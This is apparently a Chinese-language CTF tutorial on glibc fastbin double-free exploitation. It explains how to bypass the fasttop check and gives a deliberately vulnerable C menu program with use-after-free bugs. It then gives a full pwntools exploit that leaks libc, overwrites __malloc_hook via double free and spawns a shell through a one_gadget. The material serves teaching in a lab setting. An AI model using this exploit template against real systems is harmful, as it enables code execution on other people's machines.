前言
Fastbin的Double Free实际上还是利用其特性产生UAF的效果,使得可以进行Fastbin Attack
一、Double Free
double free,顾名思义,free两次。对于fastbin这种单链表的组织结构,会形成这样一个效果:
如果我们malloc一块chunk,修改其fd指针,实际上实现了这样的效果:
这样就可以后利用到劫持__malloc_hook实现getshell
然而glibc有如下检查:
if (__builtin_expect(old == p, 0)) {errstr = "double free or corruption (fasttop)";goto errout;
}
意思是“刚去下来的chunk,和现在对应fastbin的第一个free chunk不能是同一个”,也即,两个chunk在fastbin中不能是自指的。
绕过也非常简单:在double free之中穿插释放其他的同样size的chunk即可
此时 malloc 获取 chunk1 等价于 UAF 漏洞。可以修改 chunk1 的 fd 指针指向特定地址,这样就
可以在特定位置申请 chunk 。利用Double Free,可以实现在没有edit函数的情况下(只能add时写),达成fastbin attack的效果。
不过仍需要满足size的要求,具体看这一篇。
二、测试与模板
这里用FastbinAttack的示例,稍作修改,用DoubleFree实现利用。
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)# leak libc
add(0,0x100)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7c1ab1200000-0x7c1ab159bb78
success(hex(libc_base))# Fastbin Double Free
target_addr=libc_base-0x7c1ab1200000+0x7c1ab159baedadd(0,0x68) # chunk0
add(1,0x68) # chunk1
delete(0) # chunk0
delete(1) # chunk1
delete(0) # chunk0
pause()
add(2,0x68) # chunk0
edit(2,0x8,p64(target_addr))
pause()
add(3,0x68) # chunk1
add(4,0x68) # chunk0
add(5,0x68) # fake_chunk# one_gadget
'''
0x3f3e6 execve("/bin/sh", rsp+0x30, environ)
constraints:address rsp+0x40 is writablerax == NULL || {rax, "-c", rbx, NULL} is a valid argv0x3f43a execve("/bin/sh", rsp+0x30, environ)
constraints:[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv0xd5c07 execve("/bin/sh", rsp+0x70, environ)
constraints:[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''
# edit(0,0x13+0x8,b'a'*0x13+p64(libc_base+0xd5c07))
edit(5,0x13+0x8,b'a'*(0x13-0x8)+p64(libc_base+0x3f43a)+p64(libc_base+libc.sym['realloc']+9))
add(0,0x10)
io.interactive()